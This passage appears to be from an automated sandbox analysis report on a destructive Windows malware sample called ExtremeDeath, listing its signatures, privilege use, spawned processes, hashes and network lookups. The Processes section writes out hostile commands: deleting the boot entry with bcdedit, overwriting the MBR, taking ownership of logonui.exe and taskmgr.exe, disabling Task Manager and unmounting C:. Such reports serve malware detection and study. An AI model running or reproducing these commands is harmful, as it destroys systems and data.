Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\TrashMBR.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\MouseError.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\MouseWarning.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\MouseAppIcon.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\PlgBlt.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\BitBlt.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\system32\reg.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\PlgBlt.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3680 wrote to memory of 2120 N/A C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe C:\Windows\system32\cmd.exe
PID 3680 wrote to memory of 2120 N/A C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe C:\Windows\system32\cmd.exe
PID 2120 wrote to memory of 3692 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cscript.exe
PID 2120 wrote to memory of 3692 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cscript.exe
PID 2120 wrote to memory of 1960 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2120 wrote to memory of 1960 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2120 wrote to memory of 2916 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\TrashMBR.exe
PID 2120 wrote to memory of 2916 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\TrashMBR.exe
PID 2120 wrote to memory of 2916 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\TrashMBR.exe
PID 2120 wrote to memory of 208 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 2120 wrote to memory of 208 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 2120 wrote to memory of 3036 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2120 wrote to memory of 3036 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2120 wrote to memory of 4692 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 2120 wrote to memory of 4692 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 2120 wrote to memory of 1872 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2120 wrote to memory of 1872 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2120 wrote to memory of 1260 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2120 wrote to memory of 1260 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2120 wrote to memory of 2240 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 2120 wrote to memory of 2240 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 2120 wrote to memory of 1056 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2120 wrote to memory of 1056 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2120 wrote to memory of 4652 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 2120 wrote to memory of 4652 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 2120 wrote to memory of 2380 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2120 wrote to memory of 2380 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2120 wrote to memory of 5008 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2120 wrote to memory of 5008 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2120 wrote to memory of 3920 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2120 wrote to memory of 3920 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 2120 wrote to memory of 3892 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\beeper.exe
PID 2120 wrote to memory of 3892 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\beeper.exe
PID 2120 wrote to memory of 4336 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 2120 wrote to memory of 4336 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 2120 wrote to memory of 760 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\MouseError.exe
PID 2120 wrote to memory of 760 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\MouseError.exe
PID 2120 wrote to memory of 760 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\MouseError.exe
PID 2120 wrote to memory of 2268 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 2120 wrote to memory of 2268 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 2120 wrote to memory of 4616 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\MouseWarning.exe
PID 2120 wrote to memory of 4616 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\MouseWarning.exe
PID 2120 wrote to memory of 4616 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\MouseWarning.exe
PID 2120 wrote to memory of 1012 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 2120 wrote to memory of 1012 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 2120 wrote to memory of 2224 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\MouseAppIcon.exe
PID 2120 wrote to memory of 2224 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\MouseAppIcon.exe
PID 2120 wrote to memory of 2224 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\MouseAppIcon.exe
PID 2120 wrote to memory of 948 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 2120 wrote to memory of 948 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 2120 wrote to memory of 900 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\PlgBlt.exe
PID 2120 wrote to memory of 900 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\PlgBlt.exe
PID 2120 wrote to memory of 900 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\PlgBlt.exe
PID 2120 wrote to memory of 924 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 2120 wrote to memory of 924 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 2120 wrote to memory of 4008 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 2120 wrote to memory of 4008 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 2120 wrote to memory of 2800 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 2120 wrote to memory of 2800 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 2120 wrote to memory of 4224 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 2120 wrote to memory of 4224 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 2120 wrote to memory of 2176 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\MouseError.exe
PID 2120 wrote to memory of 2176 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\MouseError.exe
PID 2120 wrote to memory of 2176 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\MouseError.exe

Processes

C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe

"C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\8F70.tmp\8F71.bat C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe"

C:\Windows\system32\cscript.exe

cscript prompt.vbs

C:\Windows\system32\bcdedit.exe

bcdedit /delete {current}

C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\TrashMBR.exe

TrashMBR.exe

C:\Windows\system32\taskkill.exe

taskkill /f /im logonui.exe

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='logonui.exe' delete /nointeractive

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\system32\logonui.exe

C:\Windows\system32\icacls.exe

icacls C:\Windows\system32\logonui.exe /grant Admin:F

C:\Windows\system32\icacls.exe

icacls C:\Windows\system32\logonui.exe /grant "everyone":F

C:\Windows\system32\taskkill.exe

taskkill /f /im taskmgr.exe

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='taskmgr.exe' delete /nointeractive

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\system32\taskmgr.exe

C:\Windows\system32\icacls.exe

icacls C:\Windows\system32\taskmgr.exe /grant Admin:F

C:\Windows\system32\icacls.exe

icacls C:\Windows\system32\taskmgr.exe /grant "everyone":F

C:\Windows\system32\reg.exe

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\beeper.exe

beeper.exe

C:\Windows\system32\timeout.exe

timeout 1 /nobreak

C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\MouseError.exe

MouseError.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\MouseWarning.exe

MouseWarning.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\MouseAppIcon.exe

MouseAppIcon.exe

C:\Windows\system32\timeout.exe

timeout 10 /nobreak

C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\PlgBlt.exe

PlgBlt.exe

C:\Windows\system32\taskkill.exe

taskkill /f /im MouseError.exe

C:\Windows\system32\taskkill.exe

taskkill /f /im MouseWarning.exe

C:\Windows\system32\taskkill.exe

taskkill /f /im MouseAppIcon.exe

C:\Windows\system32\timeout.exe

timeout 1 /nobreak

C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\MouseError.exe

MouseError.exe

C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\MouseWarning.exe

MouseWarning.exe

C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\MouseAppIcon.exe

MouseAppIcon.exe

C:\Windows\system32\timeout.exe

timeout 15 /nobreak

C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\BitBlt.exe

BitBlt.exe

C:\Windows\system32\timeout.exe

timeout 5 /nobreak

C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\glitch.exe

glitch.exe

C:\Windows\system32\timeout.exe

timeout 30 /nobreak

C:\Windows\system32\mountvol.exe

mountvol c: /d

Network

Country Destination Domain Proto
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 22.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 212.20.149.52.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 101.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 udp

Files

memory/3680-0-0x0000000000400000-0x000000000051D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\8F70.tmp\8F71.bat

MD5 8c5dafc8fbd26dd529c25a01ecd5a51d
SHA1 839e962516258049a9e5e358dec7fe352e09d840
SHA256 355785cc786eed7dffecfa7d33872f6de6baa833dce34598adf0d5c8688c00f6
SHA512 fda772a900c542eb59f4a94dc1eadec9677bb117e84a07c4e5c1afbf853704e6be4031383330f0dd88d2b48bbca973484c1e60ab3aa9424158f2c787e63de295

C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\prompt.vbs

MD5 709874d32bd68e69010acdf70cebf063
SHA1 feb94076246fe2fc902ef04d745fa0e60fe1497f
SHA256 1187be0f09aa0f917718064406e4595ac6137dd3a801e91ab2d7a03d98872da1
SHA512 bdb10baa9d02f9fff1b59e718a59c6c5a163d4a9d503fb2fe1767163fd3d746c01a7ca1546ad4febc25685d5a854635bc6170009db851a66853ce66d71d25526

C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\TrashMBR.exe

MD5 42d06436fdc392a4e90d03623119fa87
SHA1 df9f007d438fc17fd47324b74a82d100a0763204
SHA256 82f2e6b2cdad0ef859fe839c97bd7c0a34452638d49094979d7c0c4488b5c2ab
SHA512 52655cd83ab881c93c9076ad0d8a9b8ebeba37d6d2b00ebcf5a45f1e835463898aa22611445ff7505977cb8d8942e2f8b6a60706ec7eee494f7131ecc65e76c4

memory/2916-25-0x0000000000400000-0x00000000004D8000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\beeper.exe

MD5 8d1a9c2e8d53425499f3a1853d2e0910
SHA1 83962bce20d3f84b796486489e2c734afd1d0846
SHA256 1d89bd45a36dd300a250292cacf22a7beff3cfe0dfddab0d7b77c3c260032131
SHA512 81ba0b91f2fd0ba9b198c59ae7cc6115bf9b05c119ea46f37043a1981ef246c617fe6ba5590048b2e1383fb27c686b6eb75fdd6e642ea4433b404d0eaabf3950

memory/3892-29-0x0000000000890000-0x00000000008FA000-memory.dmp

memory/3892-30-0x000000001B620000-0x000000001B680000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\MouseError.exe

MD5 cc72818ce44b3506b64b7f9a73d701bf
SHA1 041497924684e41aa671fe64acf6f980e0d9da7c
SHA256 48da69b9dfd600973ffcdba14abd88972ae51a5cae31b41d85ed56977f2b94dc
SHA512 4e3ad05ad99bd8c150ad99c8becca122613e446c678617f0a5a28e780706afe03580ec643956245e5e02d169e4f28bdf4f95b7d095d8e055517508c7dbeb0149

memory/3680-35-0x0000000000400000-0x000000000051D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\MouseWarning.exe

MD5 ad241a26c7f536fdb0658d602a86fcdd
SHA1 f862eecbac2d4afe4a437b77c6020b6de38b0671
SHA256 c3c6fe174f474e47b93e7aea1d0d77539d6880c3d84acac6412eff3393366dae
SHA512 5d8f9bd5d17a98b03adb4f0e173f011071708847748395889e7b582a25fc9f4606223415d9b61b3f82274a3addd73d86752bfba0bcb452990347f6b1439d672f

C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\MouseAppIcon.exe

MD5 92af619c1bdabf79c26bddda2556d9d0
SHA1 ac153eb6edd873abf6dcb6a0edbc9922d15e5dd1
SHA256 72a5692d137571317f84287c4f2abb341b95173f9ee43901f6b3272bb1631e95
SHA512 439855a8487f5cdd5ec195c303c85078af69c05ae28a837ff4d74d8e9f922a9556299b02b7bfdbe47f4287772604b21fe017ee49e0668022877a063771a37adb

memory/760-43-0x0000000000400000-0x000000000041D000-memory.dmp

memory/4616-44-0x0000000000400000-0x000000000041D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\PlgBlt.exe

MD5 5d8ff1dd3662ac09e5bfa682ffdb233e
SHA1 c0ed5cfd5fa76db7087b4f25a806e124e29520af
SHA256 7cd320070e23e6582589d83f01f4da86ce0d1c0fe83d8df2007886c6ea10cc83
SHA512 d2258dda192a6a938989617aa46c33c0eabfae2a2d3284d3ac999b8d482ff2f08ffde836156ff341e51029d946f71ce77892b13a5924996b92a7773f2e123bb9

memory/2224-50-0x0000000000400000-0x000000000041D000-memory.dmp

memory/900-56-0x0000000000400000-0x000000000041D000-memory.dmp

memory/2176-57-0x0000000000400000-0x000000000041D000-memory.dmp

memory/4820-58-0x0000000000400000-0x000000000041D000-memory.dmp

memory/3424-59-0x0000000000400000-0x000000000041D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\BitBlt.exe

MD5 d96dcc6c97ee4740f0a3a41b3bccf5cc
SHA1 25530ffaf174063c119e2d0c06afdc1d2bdd416f
SHA256 e0c40f127ceef9de46569154ef16f59e7e15d19477beb167f67a72d35193114e
SHA512 0f9ca7eb852edb469fd2f73e8b2a9425771d359aff4fde220193996befaa07fb57ac5e77d11b4cf29f3d64b358169d6a95cab02af57e5eea390063d5bd9e8372

C:\Users\Admin\AppData\Local\Temp\8F6F.tmp\glitch.exe

MD5 5ce49a6bbff759faf8204a65991d6bd7
SHA1 b8fe526d5cc346c506e543c7eecef995d1f96021
SHA256 48af943061196a4f47d5de6d2335bef7bcfdb89990e8ddb2339e64024f0d50d9
SHA512 e77785d8366de1062eb0d044b3b096f3d3c7687986ec332a607333a40acf8341f917a62f910ca5b419b4122f294e11d81e6fbaf707c240baa8556ede87d01356

memory/4184-71-0x0000000000400000-0x000000000041D000-memory.dmp

memory/3304-77-0x0000000000400000-0x000000000041D000-memory.dmp

memory/4820-89-0x0000000000400000-0x000000000041D000-memory.dmp

memory/3424-90-0x0000000000400000-0x000000000041D000-memory.dmp

memory/2176-88-0x0000000000400000-0x000000000041D000-memory.dmp

Analysis: behavioral7

Detonation Overview

Submitted

2024-10-09 08:47

Reported

2024-10-09 08:51

Platform

win7-20240903-en

Max time kernel

120s

Max time network

123s

Command Line

C:\Windows\system32\NOTEPAD.EXE C:\Users\Admin\AppData\Local\Temp\readme.txt

Signatures

Opens file in notepad (likely ransom note)

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\NOTEPAD.EXE N/A

Processes

C:\Windows\system32\NOTEPAD.EXE

C:\Windows\system32\NOTEPAD.EXE C:\Users\Admin\AppData\Local\Temp\readme.txt

Network

N/A

Files

N/A

Analysis: behavioral8

Detonation Overview

Submitted

2024-10-09 08:47

Reported

2024-10-09 08:51

Platform

win10v2004-20241007-en

Max time kernel

94s

Max time network

96s

Command Line

C:\Windows\system32\NOTEPAD.EXE C:\Users\Admin\AppData\Local\Temp\readme.txt

Signatures

Opens file in notepad (likely ransom note)

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\NOTEPAD.EXE N/A

Processes

C:\Windows\system32\NOTEPAD.EXE

C:\Windows\system32\NOTEPAD.EXE C:\Users\Admin\AppData\Local\Temp\readme.txt

Network

Country Destination Domain Proto
US 8.8.8.8:53 4.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 53.210.109.20.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 75.117.19.2.in-addr.arpa udp
US 8.8.8.8:53 88.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp

Files

N/A

Analysis: behavioral3

Detonation Overview

Submitted

2024-10-09 08:47

Reported

2024-10-09 08:50

Platform

win7-20240903-en

Max time kernel

149s

Max time network

121s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.cmd"

Signatures

Disables Task Manager via registry modification

evasion

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Modifies boot configuration data using bcdedit

Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\TrashMBR.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\ExtremeDeath.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\system32\reg.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\B3E4.tmp\PlgBlt.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
